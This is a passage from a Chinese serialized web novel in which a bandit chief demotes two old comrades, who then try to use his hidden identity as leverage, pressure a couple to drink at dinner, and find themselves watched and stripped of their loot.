有些事,你不主动向领导表达自己的意见,领导还以为你内心没有意见,下次对你会更加地变本加厉。 “石头,如今都这样了,咱们还怕个逑?你要是害怕就回去,我自己去找他。” “我……”张石头一向没有主见,他见陈嘎子态度如此坚决,一咬牙一跺脚,“好,我豁出去了,和你一起去。” “这才是好兄弟,走,我们进去找他。” 第568章 你怕他个逑? 散会之后,陈嘎子和张石头心情极度郁闷,他们没想到李二狗竟会突然发难,免去他们青山农场经理职务。 失去青山农场,只在寨务会挂个虚名,他们损失巨大,这等于斩断了他们所有的额外收入。 这是他们绝对忍受不了的! 当初他们冒着生命危险跟着李二狗上山落草为寇,不知吃了多少苦,受了多少罪才有今天的成绩。 可没想到,清风集团刚刚成立不久,李二狗就要卸磨杀驴。 他宁肯把农场交给陌生人来当经理,也不给和他当初一起出生入死的兄弟。 李二狗这是典型的忘恩负义,是白眼狼,是东郭先生和蛇! 陈嘎子和张石头站在议事厅门口,张石头刚要敲门,陈嘎子伸手阻止了他。 “直接进,还他娘的敲什么门?” 在张石头的惊讶中,陈嘎子直接推门而入,张石头赶紧跟了进去。 此时,李二狗正坐在大厅正中央的椅子上,闭着眼,听到有人推门进来,他依然保持着原来的姿势,好像一切都在他的预料之中。 陈嘎子和张石头彼此对视一眼,脸上都微微有些吃惊。 难道李二狗提前知道他们会来? 开弓没有回头箭,陈嘎子不准备退缩。 脑袋掉了碗大个疤,他没什么可怕的! “狗哥,我和石头找你有话要说。” 李二狗仿佛没有听见一般,只是脸上的肌肉微微颤动了一下。 他没有睁眼,也没有说话,议事厅安静的可怕,静到能听到自己的呼吸声。 待在这样的气氛中,头顶仿佛有一种无形的力量在用力挤压着人的大脑。 陈嘎子的太阳穴“突突”跳动起来。 “狗哥……” 陈嘎子忍不住又喊了一声。 李二狗依然没有睁眼,他只是嘴角微微一笑,徐徐说道:“有什么事,坐下说吧。” 陈嘎子和张石头彼此对视一眼,坐在了他们平时开会坐在的位置上。 他们二人不出声,李二狗则继续闭着眼睛不说话,他好像已经好久没有睡觉的样子。 “狗哥,我和石头都觉得我们自身能力有限,水平一般,今天特来向你辞职,准备下山,离开咱们清风集团。” 李二狗终于睁开了眼睛。 他预料到陈嘎子和张石头会来找自己,却没料到他们竟用辞职来威胁自己。 李二狗平生怕被别人敬着捧着,唯独不怕被人威胁。 陈嘎子和张石头仗着自己集团元老的身份,他们确信李二狗不会同意他们辞职下山。 因为李二狗一直以来打造的人设就是重情重义,他致力于把清风集团建设成一个像家一样温暖的地方。 如今集团刚刚成立不久,就要把集团元老赶下山,这在外人看来就是不仁不义、不智不勇、不礼不信,这是典型的卸磨杀驴。 上岸先斩意中人! 李二狗必须注意这样做会产生什么样的影响。 而且陈嘎子手里还握有一个杀手锏,他知道李二狗的真实身份。 李二狗是胡家大院的管家,仅凭这一点,他就确信李二狗不敢把他们赶下山。 “想好了?” 李二狗轻飘飘的三个字令陈嘎子错愕不已,他竟然没有出言挽留。 “我……” 陈嘎子一时语塞。 李二狗撇开陈嘎子,直接看向张石头:“石头,你也要下山?” 张石头根本不敢和李二狗对视,他悄悄瞥了一眼陈嘎子,陈嘎子微不可察地点了点头。 “狗哥,我和嘎子一样,我的能力有限,达不到你的要求,我也想辞职离开。” “好吧,人各有志,既然你们已经决定离开,那我就尊重你们的想法,回去写个辞职报告交给我。” 李二狗说完,起身离开了议事厅,留下不知所措的陈嘎子二人。 “嘎子,都怪你,非要用辞职来威胁狗哥,你说现在咱们怎么办?” 张石头几乎要哭出来,离开清风集团,他可能连温饱问题都难以解决。 陈嘎子也后悔不迭,但事已至此,他也只能硬刚到底。 “瞧你那点出息!你怕个逑?他李二狗做事如此无情无义,咱们也不用再对他客气,大不了就拼个鱼死网破。” 张石头被陈嘎子的语气吓了一跳。 “嘎子,你想做什么?可千万别做傻事啊!” 陈嘎子冷哼一声。 “他李二狗做土匪做久了,好像已经完全忘记自己是胡家大院的管家了,咱们正好借此机会提醒提醒他。” 张石头吓得脸都白了。 “你要威胁他?嘎子,你不要命了?咱们怎么斗得过他!” “石头,瞧你那损色!大家都是两个肩膀扛一个脑袋,你怕他个逑?咱们手里握着他小辫子,他得求咱们留下!” 张石头还是吓得不轻。 “嘎子,狗哥的手段你是知道的,咱们要是揭露了他的真实身份,他会饶了咱们吗?” “你这个傻雏,咱们又不是真揭露他,是拿这个条件和他交换,他必须答应把青山寨还给咱们哥俩。” “可……我刚才看狗哥的态度很坚决,接下来咱们怎么办?” 陈嘎子想了想,说道:“咱们去找陈老三两口子,让望冬给李二狗带个话,我就不信,他李二狗不怕!” “嘎子,要不然咱们还是找狗哥服个软吧?狗哥是个顾念旧情的人,他会让咱们留下的。” “留下做这个狗屁寨务会成员吗?石头啊石头,咱们这个位子就是个摆设啊,寨务会上什么事都是他李二狗说了算,咱们一点实权没有啊!” “可总比下山强吧?现在到处兵荒马乱的,咱们下山能去哪?” “你就放心吧,我有信心让李二狗答应咱们的条件,青山寨咱们一定不能放弃,还什么青山农场,简直是胡扯蛋,那是咱俩的势力范围,说也别想抢去!” 张石头心里知道青山农场的油水,他当然也舍不得就这样轻易舍弃。 既然如此,那就搏一把。 人生难得几回搏,此时不搏,更待何时! 陈嘎子和张石头自信满满地走出议事厅,去往陈老三家。 第569章 陈嘎子的怨言 陈嘎子和张石头二人来到陈老三家里时,望冬正在厨房里做饭。 陈老三见到他们,心里不免一颤。 陈老三没想到陈嘎子和张石头会在这时候来找他,他们几人平时很少彼此串门。 这次他们来,肯定是无事不登三宝殿。 陈老三认为这个时间他们应该去求李二狗,难道是觉得自己和李二狗的关系好,来求自己向李二狗求情? 刚才在回来的路上,望冬特意向陈老三交代过,嘱咐他不要管陈嘎子和张石头的事。 陈老三玩笑道:“两位兄弟,这是什么风把你们吹来了?” “三哥,我们来看看你和嫂子,怎么?不欢迎啊?” “哈哈,当然欢迎,热烈欢迎,你们要是早说,我好多准备几个硬菜不是?” “只要有酒,就是吃着咸菜棒也有滋有味啊。” “哈哈,二位兄弟快进屋坐。” 陈嘎子故意说道:“三哥,今天我们兄弟俩来你家蹭顿饭吃,也许以后就不一定有机会了。” 陈老三装傻道:“嘎子兄弟,瞧你这话说的,我家大门随时向你们敞开,我巴不得你们天天来,哈哈。” 望冬听到他们的说话声,笑着从厨房走出来:“两位兄弟可是稀客啊,一会儿我多炒两个菜,让你们尝尝我的手艺怎么样。” “嫂子,你和三哥现在在集团可是呼风唤雨啊,你这怎么还亲自下厨啊?这可和你身份太不符了!” 望冬笑道:“我什么身份啊?难道还得找几个人来伺候我吗?我又不是什么地主老财。再说,狗哥家都是自己做饭,我们得向他学啊。” 望冬这句话貌似在说自己,其实是在揶揄陈嘎子和张石头。 秀才当初在霸虎寨也有享受主义的苗头,可被李二狗一番敲打,他立马认错整改,这次就得到了李二狗的重用。 “嫂子。” 陈嘎子故意把“嫂子”二字说的很重,就是不认可她在集团的地位,女人就是女人,即使上了天也是男人的附庸。 “你说咱们天天在山里风里来雨里去,把脑袋别在裤腰带上,图得是什么?找两个人伺候难道不是应该的吗?” 看到陈嘎子依然执迷不悟,望冬也不便多说什么。 “你们坐,菜一会儿就好。” 望冬接着进厨房去炒菜,陈老三招呼陈嘎子、张石头坐下。 陈嘎子开门见山地问道:“三哥,今天的事你怎么看?” “什么事?”陈老三故意露出一副疑惑的表情。 陈嘎子知道陈老三在装傻,他直接说道:“就是咱们集团人事调整的事。” “奥……这个事……其实我也是在会上才知道的。” 陈嘎子义愤填膺地说道:“三哥,我觉得集团这次调整特别不公,我替你不值啊!” 陈老三本以为陈嘎子是来为他自己鸣不平的,怎么现在反而替自己叫屈? “嘎子,你这话是什么意思?” “三哥,当初是你和狗哥带着咱们兄弟几个上的山,如今孬蛋不在,咱们四人才是集团的元老,他秀才是后来才上的山,再说,你和狗哥是什么交情?那是过命的交情!他秀才何德何能?凭什么排到你前面啊?” 陈老三一开始心里也是不服,他认为凭借着自己和李二狗的关系,他必须是集团二把手。 可望冬一句话点醒了他。 “如果把整个集团交给你来管理,你能行吗?” 陈老三知道自己不行,他写几个字都费劲! 望冬说他是将才而不是帅才,陈老三深以为是。 再说,望冬进入寨务会更晚,现在却排在陈嘎子、张石头前面,这一切都是因为李二狗对自己的器重。 “嘎子兄弟,俗话说得好,有多大的手,就端多大的碗,有多大的能力,就办多大的事,我陈老三要能力没能力,要长相没长相,如今能有现在的位置,我得感谢狗哥啊,怎么还敢有怨言啊?” 陈嘎子没想到平时一点就着的陈老三,如今却变得如此通情达理,这不符合他的人设啊! “三哥,咱们是亲兄弟,你心里有怨言还藏着掖着?也不怕憋出病来?” 陈老三笑道:“嘎子兄弟,我是真没有怨言!” “可我有!” 陈嘎子猛地一拍桌子,激动地站了起来。 他见套路不到陈老三,终于不再掩饰自己愤怒的情绪。 “嘎子兄弟,你别激动嘛,坐下慢慢说。” 正在这时,望冬端着刚炒好的一盘辣椒炒鸡蛋走了进来。 “老三,别光顾着说话了,叫两位兄弟吃饭。” “嫂子,谢谢啊!” “都是自家兄弟,客气什么?” 望冬暗地里给陈老三递了一个眼神,暗示他不要喝酒,陈老三立马心领神会。 有些人就喜欢借着酒劲闹事,事后还会把责任全推给酒,望冬可不想让陈嘎子和张石头连累他们。 因为她心里非常清楚,李二狗一旦决定的事情,任何人都改变不了。 更何况是陈嘎子和张石头犯错在先,李二狗还给他们留了体面已经是网开一面。 “来,两位兄弟请坐,尝尝望冬的手艺怎么样。” 三个人分主宾坐下。 陈嘎子道:“三哥,让嫂子坐下一起吃吧。” 陈老三看了看厨房的方向,说道:“她还有两个菜要炒,咱们先吃,不用等她。” 陈嘎子富含深意地说道:“三哥,不是兄弟我多嘴啊,你说嫂子白天在集团要处理各种事务,可以说是日理万机,晚上回到家,还得做饭伺候你,你这是不是有点太不体贴嫂子了?找两个人来伺候你们又不是什么大不了的事情,还不是你一句话的事?要不然我给你们安排两个过来,多大的点事!你不疼嫂子,我还心疼呐!” 这种想法,陈老三不是没有,但每次都被望冬骂的狗血喷头。 她本来是李素文的丫鬟,自己理应伺候李素文和李二狗的起食饮居,现在李素文不让她伺候,她怎么好意思让别人伺候。 在她的价值观中,李二狗不做的事情她绝对不会去做。 第570章 望冬生气 “这事我考虑过,可你嫂子不同意,再说,狗哥都没有安排人伺候,咱们怎么好意思安排啊,你说是不是?” 陈老三故意装着不知道陈嘎子在青山农场的情况,其实陈嘎子根本不在意这些。 在内心深处,他根本没有意识到在青山农场过奢靡腐化的生活有什么不妥! “三哥,不是兄弟我说你,女人可以疼,但绝对不能惯!咱可不能事事都由着女人的性子来啊。” 陈老三尴尬地一笑,心想,陈嘎子这个傻雏,今天你到底是来求自己办事的还是来挑唆自己家庭矛盾的? “哈哈,别光顾着说话了,来,吃菜!” 陈嘎子没有动筷,他一脸困惑地看着陈老三,说道:“三哥,无酒不欢,你不会连顿酒都舍不得给兄弟们喝吧?” 陈老三万万没有想到自己不主动安排酒,陈嘎子竟会主动要酒喝,这个人的脸皮可真够厚的。 他无奈地说道:“兄弟,我这两天有些闹肚子,身体虚得很,咱们还是改天再喝吧?” 陈嘎子不依不饶地说道:“闹个肚子不耽误喝酒!三哥,你可别让兄弟们瞧不起你啊。” 陈老三也是场面人,陈嘎子的话已经说到这个份上,他不得不去拿酒。 他从柜子里拿出一瓶兰陵大曲,张石头赶紧接了过去。 “我来给二位哥哥倒酒。” 陈老三说道:“我看咱们今天还是点到为止吧,别喝多了。” “人生得意须尽欢,何惧明天风和雨,三哥,要喝就得喝尽兴,哪有点到为止的道理?来,我和石头先敬你一杯。” 陈嘎子说完,端起酒杯,一仰头,一杯酒一饮而尽。 他向陈老三亮了亮手中的杯底,陈老三没有办法,只好陪着干了一杯。 望冬上菜的时候,看到他们喝酒,狠狠地瞪了陈老三一眼。 “嫂子, 别忙了,快坐下一起吃吧。” 望冬心中早就猜到他们的来意。 “你们先喝,我再去给你们烧个汤,”她说完看了一眼陈老三,“老三,有一瓶老陈醋我怎么找不到了?你来厨房帮我找找。” 家里根本没有老陈醋,陈老三立刻领会了望冬的意思。 “你们先吃着,我去去就来。” 陈嘎子狐疑地看了一眼望冬,他一直怀疑这个女人和李二狗有见不得光的关系,不然怎么会升的那么快? 如果她能帮自己向李二狗说几句好话,李二狗肯定会听。 “嫂子,今晚我一定要敬你两杯,你可快点来啊。” “好,你们先喝着,我忙完就过来。” 陈老三跟着望冬来到厨房。 陈老三急忙解释道:“是嘎子非要喝酒,我劝不住啊。” 望冬道:“我看他们今天肯定是来者不善,你少喝点,待会儿看我眼色行事,别喝点酒就什么话都答应。” “嘿嘿,放心吧,有你在我放心。” 陈老三忍不住亲了一口望冬,他现在越看越觉得望冬是这个世界上最好的女人。 望冬打了他一下,说道:“满嘴酒气,最讨厌你喝酒了。” “我一定少喝,嘿嘿。” “三哥,你再不回来,我和石头就要把这瓶酒都喝光了。”陈嘎子大声催促道。 “来了,来了,”陈老三叹了一口气,“嘎子这人其实并不坏,只是……” “咱们先别管他坏不坏,狗哥一旦决定的事谁能改变?你嘴上一定要把好门,别乱说话。” “嘿嘿,我知道,我一定会把好门。不过,待会儿喝完酒你可别把好门,得打开门放我进去!” “滚!” 陈老三屁颠屁颠地跑了。 三个人喝了一会儿,陈嘎子对张石头说道:“石头,你去看看嫂子怎么还不来?” 陈嘎子知道,望冬和李二狗的关系密切,对付李二狗,陈老三不如望冬好使。 陈老三拉住已经站起来的张石头。 “石头兄弟,你不用去,她忙完会自己过来的。” 张石头刚坐下,陈嘎子又说道:“石头,你快去叫嫂子,我已经迫不及待地想和嫂子喝一杯了。” 张石头只好又站起来,不顾陈老三劝阻,直接来到厨房。 “嫂子,你忙完了吗?大家等着你一起喝酒呢。” “我哪里会喝酒?还是你们喝吧,我去了再扫你们的兴。” “去吧,喝不多还喝不少嘛,嘿嘿,我哥他们都等着你的。” 望冬没有办法,只好端着汤来到屋里。 “嫂子,快坐,等你半天了,”陈嘎子指了指自己身旁的一个凳子,又看向张石头,“石头,愣着做什么?还不快给嫂子倒酒。” 望冬道:“别给我倒了,我不会喝酒。” “当领导的哪有不会喝酒的?嫂子,你不会是看不起我们兄弟吧?” 望冬心里确实看不起他们,但又不能表现出来,毕竟大家都是寨务会的成员,抬头不见低头见的,闹僵了不好。 “嘎子兄弟,我真不会喝酒,不信你问老三。” 陈老三忙说道:“对,她确实不会喝酒,还是咱们喝吧。” “不行,今天嫂子必须喝一杯,不然就是打我们的脸,石头,倒酒!” 望冬此时很想转身离去,但毕竟是在自己家里,传出去影响不好。 她耐着性子说道:“嘎子兄弟,你就别难为我了,我是真不会喝酒,我沾酒就醉,你不怕看笑话,我还怕呢,呵呵。” 话已至此,换作一个聪明人,肯定见好就收,可陈嘎子依旧不依不饶。 “醉了怕什么?这是在你自己家里,我们就是有贼心也没贼胆啊,你说是不是,三哥,哈哈。” 望冬最讨厌别的男人开这种低俗的玩笑,她板着脸没有说话。 陈老三见望冬脸色难看,急忙说道:“倒吧,能喝多少算多少,真喝不了我替你。” “不许替,嫂子今天必须都喝了。” 望冬真想站起来正反抽陈嘎子两个大耳刮子,明明是来求人办事的,竟然还表现出这副嘴脸,这个人真是无可救药。 望冬冷冰冰地说道:“我喝不了酒!” 气氛一时变得尴尬起来。 第571章 陈嘎子借酒发疯 陈老三见状,急忙端起酒杯,说道:“二位兄弟,你们这是第一次到我家吃饭,来,我和望冬敬二位兄弟一杯。” 望冬强压着心中的怒火,跟着陈老三一起举起了酒杯。 陈嘎子喝到现在已有八分醉意,不止望冬瞧不起他,其实他内心也瞧不起望冬。 不就仗着自己有几分姿色吗? 陪李二狗睡觉睡出个集团副董事长的职务,有什么值得显摆的? “嫂子,我干了,你至少得喝一半。” 陈嘎子用手中的酒杯碰了一下望冬手里的酒杯,不等其他人回话,他已一饮而尽。 望冬只是在嘴唇上抿了抿,便把酒杯放下了。 “嫂子,你怎么没喝?” “我喝了一点,我酒量实在是不行。” “那不行,你今天要是不喝就是看不起我陈嘎子。” 望冬柳眉微蹙,她端起碗开始喝汤,根本没把陈嘎子的话当回事。 陈嘎子的脸瞬间耷拉下来。 “我知道,我如今在集团是姥姥不疼,舅舅不爱,谁也看不起我,哎,虎落平阳被犬欺啊。” 陈嘎子此话一出,望冬还没反应过来,陈老三已经恼了。 “嘎子,你他娘的胡说什么?你说谁是犬?” 张石头见状,赶紧解释道:“三哥,嘎子哥喝多了,他不是那个意思?” “那他是哪个意思?” 此时的陈老三化作护妻狂魔,他必须在望冬面前表现出自己强硬的态度。 “三哥,嘎子哥怎么会骂你和嫂子呢?他是心里憋屈啊!” “呜呜呜……” 陈嘎子突然伏在桌子上开始放声大哭,那哭声如泣如诉,像一个十足的怨妇。 “我心里苦啊!” “狗哥怎么可以如此待我?” 一个大男人哭成这样,陈老三也不好再发作。 “嘎子,你一个大老爷们,哭成这样像什么话?好了,别哭了!” 陈老三一劝,陈嘎子反而哭得声音更大了。 “自打上山以来,我对狗哥一直忠心耿耿,他指哪我打哪。” “现在山寨变成了集团,地盘大了,人也多了,他却要把我赶出集团,我没有功劳也有苦劳吧?他怎么可以如此对我?” 陈老三忍不住说道:“嘎子,你说这话可没道理,狗哥什么时候要把你赶出集团了?你现在不还是集团寨务会成员吗?” 陈嘎子抬起头,脸上鼻涕一把泪一把。 “狗屁寨务会!那就是个摆设!这次人员调整,通过寨务会研究了吗?还不是他李二狗一个人说了算!” 陈老三看了一眼望冬,陈嘎子这话说得确实没错,这次调整连他自己事先都不知道。 望冬依旧保持着沉默,她知道,陈嘎子今天前来,肯定不是只为了抱怨。 整个山寨都知道他们和李二狗的关系好,陈嘎子特意跑到他们面前抱怨李二狗,不是憨就是傻! 可陈嘎子绝不是一个傻瓜。 他现在所做的一切都是为接下来的表演做铺垫。 “嘎子,别哭了,寨务会成员属于集团决策层,狗哥不会亏待你们的。” “三哥,你这是站着说话不腰疼,让你不当清风农场总经理,你愿意吗?” “我……” 陈老三一时语塞,他确实不愿意。 寨务会的职务是虚职,不亲自管理一个农场,根本体会不到当领导的乐趣。 “你看,你也不愿意是不是?狗哥明显是要把我和石头赶走。” 陈老三理解不了李二狗的真正意图,但他也从望冬口中听到过一些陈嘎子在青山农场的所作所为。 以他对李二狗的了解,他并不是想把陈嘎子和张石头赶出集团,只是想给他们一个教训罢了。 “嘎子,事已至此,也没有别的办法,等找个机会你再向狗哥表明一下自己的心迹,他是一个顾念旧情的人,一定会给你们机会的。” “顾念旧情?”陈嘎子冷哼一声,“恐怕狗哥顾念的旧情也不是我和石头吧?” 说完,他瞥了一眼望冬。 望冬看在眼里,恨在心里。 这个陈嘎子真是不可救药,这种话都敢说出来! 陈老三就算是块木头,也听出了陈嘎子的言外之意。 但他又不能发作,要是一发作,等于承认自己心虚,等于承认自己也认为李二狗和望冬有什么见不得人的关系。 其实陈老三不是没有怀疑过他们两人的关系。 但他又比谁都清楚,当初是李二狗亲自做望冬的思想工作,望冬才答应嫁给自己的。 望冬作为李素文的丫头,如果李二狗想和她发生点什么,实在是太容易了,他没有必要费尽心思地把望冬嫁给自己。 望冬虽然漂亮,但无论是容貌还是气质,都和李素文有较大的差距,李二狗手里捧着白面馍馍,又何必去惦记着黄面窝头呢? 他选择相信李二狗! 陈老三努力让自己的心情平复下来。 “嘎子,你喝多了,还是早点回去休息吧。” 陈嘎子要说的话还没有说,他怎么会走? “三哥,不瞒你说,我和石头已经向狗哥辞职,我们要离开集团了。” “什么?”听到他们已经向李二狗辞职,陈老三不由得大吃一惊,“你们要离开集团?离开集团你们能去哪?” “此处不留爷,自有留爷处,天地这么大,哪里还不能混口饭吃。对了,我差点都忘记了,狗哥还是胡家大院的管家,大不了我们再回胡家大院呗,省得去了其他地方,再一个不小心把狗哥的真实身份说出来,那狗哥可就麻烦大了。” 望冬没想到陈嘎子会向李二狗辞职,更没想到他竟然还想拿李二狗真实身份的事情相要挟。 她了解李二狗,他绝对不吃这一套! “嘎子,你了解狗哥的脾气,你要是把他的真实身份说出去,是什么后果,我不说,你也应该心知肚明!” “三哥,你误会我了,我怎么会这样做呢?我只是担心在外边一不小心说漏了嘴,你也知道的,我喝点酒,嘴上就没个把门的!” 望冬看着醉眼迷蒙的陈嘎子,心想,他如果真想威胁李二狗,就不会把这件事告诉陈老三和自己。 他特意来告诉陈老三,就说明他心虚,他还不敢这样去做。 他真实的目的是希望陈老三和自己去向李二狗求情。 第572章 天要下雨,娘要嫁人 望冬不想再看陈嘎子演戏,她嘴角挂着一丝笑容,说道:“嘎子,咱们都不是外人,时间也不早了,你有什么话不妨直说。” 陈嘎子从望冬那似笑非笑的表情里猜到她已经发现了他们此行的真正意图。 已经没有再表演下去的必要了。 “三哥,嫂子,和你们说实话吧,其实我和石头心里是舍不得离开咱们集团的,我知道你们和狗哥走得近,能不能和狗哥说说?让我和石头留下来。” 望冬故意问道:“不是你们主动向狗哥辞职的吗?现在又想留下了?” 陈嘎子虽然喝了不少酒,但脑子还是十分清醒。 “我们那样做不也是迫于无奈吗?青山农场还是青山寨的时候,我们哥俩就一直在那里耕耘,那里的一草一木、一砖一瓦无不浸透着我们的汗水,我们真的舍不得离开啊!” 张石头附和道:“是啊,一想到要离开青山农场,我们哥俩这心啊,就像被人用尖刀剜一样。” “这青山农场当初也是咱们兄弟几个付出巨大代价才得到的,现在就这样轻易交给不相干的人去管理,他们能有我们哥俩这么用心吗?” “是啊,谁也不如我们对青山农场有感情。” “我们哥俩恨不得把我们这一生都奉献给青山农场。” “我舍不得离开青山农场啊!” 两人你一言我一语,在他们口中,青山农场就如同他们的孩子一般珍贵。 两人这一番话,陈老三和望冬听后并没有什么反应,反倒把他们自个感动的稀里哗啦。 望冬经过此前的历练,为人处世的水平已经有了显著的提高。 “嘎子、石头,你们刚才都说了,狗哥是一个顾念旧情之人,我相信只要你们诚心向他认错,他肯定会答应你们留下的。” 陈嘎子不是不想认错,但只是一认错,就等于否定了自己此前在青山农场的所作所为,这样他们就更没有机会重返青山农场了。 “嫂子,和你说句掏心窝子的话,我们哥俩想回青山农场,哪怕不当寨务会成员也行。” 陈嘎子说完瞅了一眼张石头,张石头赶紧附和道:“嗯,我也是。” 对于他们心中的小算盘,望冬看得一清二楚。 她了解李二狗的脾气,让陈嘎子此时重回青山农场,绝无可能! “嘎子,你们听嫂子一句劝,此时最重要的是先留下来,其他的事可以以后再慢慢想办法。” 陈嘎子也有嘎脾气,此次被李二狗突然剥夺实权,如果听之任之,以后自己在集团放个屁都没有动静,自己也没有面目继续留在清风集团。 “回不了青山农场,那我和石头就只能下山了,如果某一天我不小心泄露了集团的一些秘密,到时候可别怪我们啊。” 陈老三没想到陈嘎子行事如此不光明磊落。 “嘎子,咱们是兄弟,你非得闹成这样吗?” “不是我非得闹成这样,是有人逼我这样的!” “狗哥的脾气你我都知道,他最讨厌的就是被人威胁!” “我陈嘎子也不是没有脾气之人,我最讨厌的就是被人任意摆布。” “非得如此?” “既如此,便如此!没什么大不了的,石头,咱们走!” 张石头没想到陈嘎子真的要下山,他这嘠脾气还真是嘠! “嘎子哥,咱们还是……” “你走不走?你不走,我自己走!” 陈嘎子站起来,踉踉跄跄地往外走去。 “三哥,嫂子,你看这……哎,我到底该怎么办啊?” 张石头犹豫了,他知道自己有几斤几两,离开清风集团,他屁都不是! “石头,主意还得你自己拿,千万要慎重啊。” “张石头,你他娘的还磨叽什么?你到底走不走?” 张石头没有办法,叹了一口气,出了门。 陈老三望着他们离去的背影,摇了摇头。 “望冬,你说他们真的会离开集团吗?” “老三,你记住,这个集团除了狗哥之外,离了谁都一样,包括你我。” 陈老三虽不完全认同,但也无法反驳。 “你干嘛去?”看到望冬要出门,陈老三问道。 “我得把今晚的情况告诉狗哥。” “我和你一起去。” “你喝了那么多酒,老实在家待着吧。” 来到李二狗家,他正聚精会神地李素文绣花。 “狗哥,我有事和你说。” 李二狗笑道:“看你着急忙慌的样子,来,坐下慢慢说,我正看你素文姐绣花呢,她绣花的水平真是越来越高了。” 望冬此时哪里还有心思看绣花,但她还是坐在了李二狗旁边的一个凳子上。 李素文停下手里的针线活,问道:“望冬,你喝酒了?” “喝了一点,这么明显吗?” 李素文笑了笑,说道:“不明显,是我的鼻子敏感,女人还是不要喝酒。” 望冬一边点头一边说道:“是陈嘎子非得逼我喝,这人太嘠了。” 李二狗脸上保持着惯有的笑容,他总是这样一副波澜不惊的表情,让人猜不透他的心思。 “他去你家找你了?我猜他今晚就会去找你和老三。” “狗哥,有件事我说出来你可别生气啊。” 李二狗微微一笑。 “知道我会生气,那你最好还是别说了。” 望冬看向李素文,撒娇道:“素文姐,你看看狗哥……你也不管管!” 李素文几乎是和李二狗同样的表情。 “你们的事我可管不了。” “狗哥,你看看素文姐……你也不管管!” 李二狗和李素文都被望冬逗笑了。 李素文道:“别逗望冬了,她这么晚过来,肯定有要紧的事。” 李二狗这才说道:“说吧,什么事。” 望冬便把陈嘎子的事全部告诉了李二狗。 李二狗没想到陈嘎子竟然敢拿他真实身份的事相要挟。 “狗哥,要不然我再去劝劝嘎子?” “天要下雨,娘要嫁人,随他去吧。” “那他要是真把你的真实身份说出去,会不会……” “望冬,你觉得嘎子傻吗?” “不傻啊!” “那他肯定不会说出去!” 第573章 有苦难言 陈嘎子和张石头连夜回到青山农场,他们这几年积攒的家底都在这里。 “陈经理、张经理,你们回来了。” 陈嘎子抬头一看,竟是孙连胜,他旁边站着张廉捷,两人都是一副笑咪咪的表情,好像是专门在等他们两人回来。 陈嘎子冷哼一声,根本不想搭理他们。 两人从孙连胜身边经过时,陈嘎子停下来狠狠地瞪了他一眼。 “小人得志!” 面对陈嘎子的冷嘲热讽,孙连胜不急也不恼,他依然保持着恰到好处的微笑,和李二狗简直一模一样。 “陈经理,张经理,请你们等一下,我们刚刚接到集团的通知,明天上午八点之前,让你们收拾好自己的行李准时到集团报到。” 陈嘎子愣在原地,他咬牙切齿地说道:“李二狗这是要赶尽杀绝啊!” 他们在青山农场存有大量的金银珠宝,怎么可能一次性都带走! 要是带不走,以后再想回来带,根本不可能。 “陈经理,集团只是让你们按时去报到,你怎么这么激动?” 陈嘎子冷冷地看着他,说道:“孙连胜,别看你现在闹得欢,小心将来拉清单,老子记住你了!” 孙连胜依旧保持着恰到好处的笑容,不管陈嘎子怎么说,他都不急不躁。 “陈经理,你别激动,我们也是传达集团的通知,请两位经理把握好报到时间,早点休息,再见。” “哼!狗腿子。” 张石头扶着陈嘎子往他们住处走去。 “嘎子哥,我们怎么办?” “看如今的情形,咱们是没法在集团待了,明天咱们就下山,这几年咱们积攒的家当够咱们兄弟吃喝嫖赌一辈子了,没必要在这里受这腌臜气。” 这两年捞的钱,都放在陈嘎子那里,张石头只能选择和他共进退。 “我听你的,嘎子哥,那咱们什么时候走?还等到明天早上吗?” 陈嘎子想了想,附耳和张石头嘀咕一番,张石头不停地点头。 “好主意啊,嘎子哥,还是你有办法。” “石头,只要你听哥的,哥带你吃香的喝辣的,小娘们管够。” 张石头乐得嘴都歪了,他最喜欢的就是小娘们。 “嘿嘿,我听你的,嘎子哥,都听你的。” 两人分开后,陈嘎子径直回到自己的房间。 谁承想,房间门口竟然站着两个持枪的土匪。 “陈经理,晚上好。” 陈嘎子本来想趁着晚上的时间把一部分财物先行运出青山农场,没想到孙连胜竟提前安排了人来监视他。 他借着酒劲大声喝骂道:“谁让你们在这里的?都给老子滚!” “报告陈经理,是孙总经理安排我们来的,他说,没有他的命令我们不能离开这里半步!” “他娘的,他孙连胜是什么意思?监视老子吗?” “报告陈经理,孙总经理说这是保护您!” 站岗土匪嘴里一口一个孙总经理,孙总经理,这让陈嘎子内心更加恼火。 “妈了个巴子,狗屁总经理,快给老子滚!” 站岗土匪站在原地纹丝不动,陈嘎子下意识地去腰间摸枪,却发现身上并没有带枪。 他一脚踢开房门,一直挂在床头的那支德国造二十响驳壳枪却已不知所踪。 “妈了个巴子!谁偷了老子的枪?” 站岗土匪站在房门口纹丝不动,仿佛没听见陈嘎子说话一般。 这要放在以前,陈嘎子早一脚飞踹上去了。 他愤怒地把房门关上。 第574章 虎落平阳被犬欺 “陈经理,你到底丢了什么东西啊?赶快说出来让大家帮忙找一找,咱们农场以前可从来没有出现过这种事情,我一定会彻查到底!” 说话时,孙连胜依旧保持着惯有的笑容,他的一言一行都在刻意学李二狗。 陈嘎子恨得牙痒痒! 他真想立马冲上去正反抽这小子十个大嘴巴子! 但他心里非常清楚,这是他们给自己挖的坑,自己要是说出来丢的是金条和大洋,就彻底上了他们的当! 他可没有那么傻! “孙连胜,你小子有种!咱们走着瞧!” 陈嘎子撂下一句话就气愤地转身走了。 “陈经理,你别走啊,还没说到底丢了什么东西呢?” 孙连胜嘴角露出一丝得意的笑容。 陈嘎子没有回自己的房间,而是来到青山农场财务室。 果不其然,财务室门口有两个土匪在站岗。 他们看到陈嘎子,并没有表现的很惊讶,只是不卑不亢地问道:“陈经理,这么晚了,你怎么来了?” 正所谓好事不出门,坏事传千里,他们早就听说陈嘎子和张石头已经被免去青山农场经理之职,现在青山农场已不是他俩说了算。 “怎么?老子来看看都不行?让开!” 一个土匪说道:“陈经理,孙总经理和张副总经理都交待过,没有他的命令,任何人不许进入财务室。” 陈嘎子攥紧了拳头,但也毫无办法。 虎落平阳被犬欺,他今天算是彻底看清楚了。 “妈了个巴子!咱们走着瞧!” 陈嘎子放了一句狠话之后,直接来到张石头房门前。 奇怪的是,张石头的房门前并没有人站岗。 “石头,快开门。” 张石头早已睡下,正在梦中和一个俊俏的小娘儿们翻江倒海。 被人打扰了荤梦,意犹未尽的他不满地嚷道:“谁啊?这大晚上的吵吵。” “我,快开门!” 张石头这才听出说话之人是陈嘎子,他赶紧起身打开房门。 “嘎子哥,咋地啦?” 陈嘎子转身看了看身后,谨慎地说道:“进屋再说。” 